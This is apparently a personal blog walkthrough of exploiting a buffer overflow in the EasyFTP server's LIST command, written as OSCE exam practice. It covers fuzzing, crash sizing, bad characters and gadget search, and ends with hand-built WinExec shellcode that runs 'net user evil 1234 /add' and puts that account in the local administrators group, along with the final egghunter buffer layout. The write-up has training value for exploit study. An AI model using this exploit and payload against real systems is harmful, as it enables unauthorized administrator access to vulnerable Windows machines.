EasyFTP Exploiting FTP with an EggHunter, Limited Space and Custom Shell Code

Robot Security

Custom shell code…and fun…dont forget about the fun!

On my way to studying from Offensive Security’s OSCE exam I began to explore exploit-db.com for exploitable applications I could try to recreate. I found EasyFTP and went about trying to own it.

1. Fuzzed using Boo-Fuzz that identified the LIST parameter as being exploitable.

– I found a good Boo-Fuzz tutorial on youtube.

– Note below, that i reviewed several different parameters including user, stor,retr, password and list.  Generally speaking you identify these parameters by reviewing the RFC associated with the application and reviewing a wireshark snippet while regularly interacting with the application. 

(part of Boofuzz python script)

(output of running BooFuzz python script)

– You can see at 407 bytes the script fails to receive response from EasyFTP…i.e. it crashed .  At this point you’d want to confirm this crash by reviewing Immunity and confirm that you see the application crashed. 

2. Replicated Boo-Fuzz result with Python script
I created a python script to replicate the crash outside of BooFuzz. This is a required step to further exploit the crash. In this case I passed a value for list of 407 bytes.

<link to source can be found on my github page EasyFTP


Output of Immunity Debugger showing replicated crash.

3. I then proceeded to try to identify scope of the crash.

This part can be very important. Buffer Overflows can have different characteristics. You may find that at a certain size a parameter may crash and overwrite EIP or it may crash overwrite SEH or it may crash and do nothing. Important that once you find a parameter that is vulnerable you attempt to map its characteristics.

junk = “\x41” * 407 #Size that Boo Fuzz Initially Identified

…Attempts at identifying the scope and size of crash
junk = “\x41” * 100
junk = “\x41” * 1000
junk = “\x41” * 2000
junk = “\x41” * 5000
junk = “\x41” * 10000
junk = “\x41” * 50000

map out size of crash and note characteristics (Comments from code)
#2500,1000,100,200,5000,2000,10000 no affect
#5000 stalled app
#500 crash app, seh, no eip
#400 EIP and seh?

Ultimately I found the approximate original size identified by Boo Fuzz was sufficient to get EIP and SEH.

4. Look for Bad Characters
Like most BOF its important to identify what characters may cause the exploit to not work.  Bad characters are usually a property of understanding the nature of the application.  For example, an HTTP server may only accept Alpha Numeric characters in the URL field of an FTP server may only look for HEX in the username field.  Sometimes as was the cause with this application finding your bad characters may not be straight forward.  Some applications have a string of characters that resemble your bad character array embedded in the application.  Some applications may fail to crash because of one or more applications.  For this application I put an egg (an identifiable piece of opcode) that I could manually search for.    I then passed this to the exploit and then used the memory search function in Immunity to review the bad characters.

Bad Character Array

Source code showing bad character array
– note: I tried to keep the length the same hence the subtraction of the length


Use of Immunity’s memory search feature to find the bad characters

used my own “egg” to find the values in memory
(below is clear after identifying the following bad chars)

5. Need to find a vector for attack.
– Reviewed registers and stack and found that 1 location down on the stack was part of the overwrite and that had corresponding gadgets /instructions in memory
– some registers had part of buffer but couldn’t find any instructions to use them (like ecx)
– used mona wildcard find to identify available instructions that matched pop ret (in this case it was pop eax ret)

A BAD Attempt……. (Didnt work) 🙁

ECX Reg contains 90909090
#!mona find -s “\xff\xd1” -m ftpbasicsvr.exe (note: this is requied before hand !mona config -set workingfolder c:\logs\%p)
callecx=”\x7d\xa9\x41\x00″ #0041A97D call ecx

Finally…….ultimately found instructions to do a pop ret and access the section below

WORKING example of findwild (use)
findwild -s “pop r32#*#retn” -m ftpbasicsvr.exe

#0x0040325a : pop ecx # retn

6. Summary of final steps
– identified how far into buffer the above pop ret placed. Put an egg hunter there
– placed egg infront of WInExec reference….along with stack alignment x4c anda few nops (nops were inserted as i tried to igure out how many x4c i needed)
– the Winexec ended up being used because the buffer was very small and did not support a shell and there did not seem to be an obvious method to jump anywhere else. Had unsuccessfully tried to use a double send to send the shell using other commands before sending crash command.
– used arin.exe to find memory location for winexec: 
arwin.exe kernel32.dll WinExec

WinExec = (

“\x33\xc0” # XOR EAX,EAX
“\x50” # PUSH EAX => padding for lpCmdLine

“\x68\x61\x64\x64\x20” #=> PUSH “add “
“\x68\x69\x6c\x20\x2f” #=> PUSH “il /” verfified
“\x68\x73\x20\x65\x76” #=> PUSH “s ev” verfified
“\x68\x61\x74\x6f\x72” #=> PUSH “ator” verfified
“\x68\x69\x73\x74\x72” #=> PUSH “istr” verfified
“\x68\x64\x6d\x69\x6e” #=> PUSH “dmin” verfified
“\x68\x75\x70\x20\x61” # => PUSH “up a” verfified
“\x68\x6c\x67\x72\x6f” #=> PUSH “lgro” verfified
“\x68\x6c\x6f\x63\x61” #=> PUSH “loca” verfified
“\x68\x6E\x65\x74\x20” #=> PUSH “net “

“\x68\x26\x26\x20\x20” #=> PUSH “&& ” verfified

“\x68\x61\x64\x64\x20” #=> PUSH “add “
“\x68\x33\x34\x20\x2F” #=> PUSH “34 /”
“\x68\x6c\x20\x31\x32” # => PUSH “l 12” verfified
“\x68\x20\x65\x76\x69″ #=> PUSH ” evi” verfified
“\x68\x75\x73\x65\x72” #=> PUSH “user”
“\x68\x6E\x65\x74\x20” #=> PUSH “net “

“\x68\x2f\x63\x20\x20” #=> PUSH “/c “
“\x68\x65\x78\x65\x20” #=> PUSH “exe ” veriried
“\x68\x63\x6d\x64\x2e” #=> PUSH “cmd.” verified

“\x8B\xC4” # MOV EAX,ESP
“\x6A\x01” # PUSH 1
“\x50” # PUSH EAX
“\xBB\x95\xe6\xdf\x76” # MOV EBX,kernel32.WinExec
“\xFF\xD3”) # CALL EBX

DEC=”\x4c” * 3 #stack alignment due to ? seen in Olly

junk=nops+egghunter+”\x90″ * (268-len(egghunter)-len(nops))+popret+”T00WT00W”+DEC+NOP+WinExec+”\x90″*(400-268-4-len(WinExec)-8)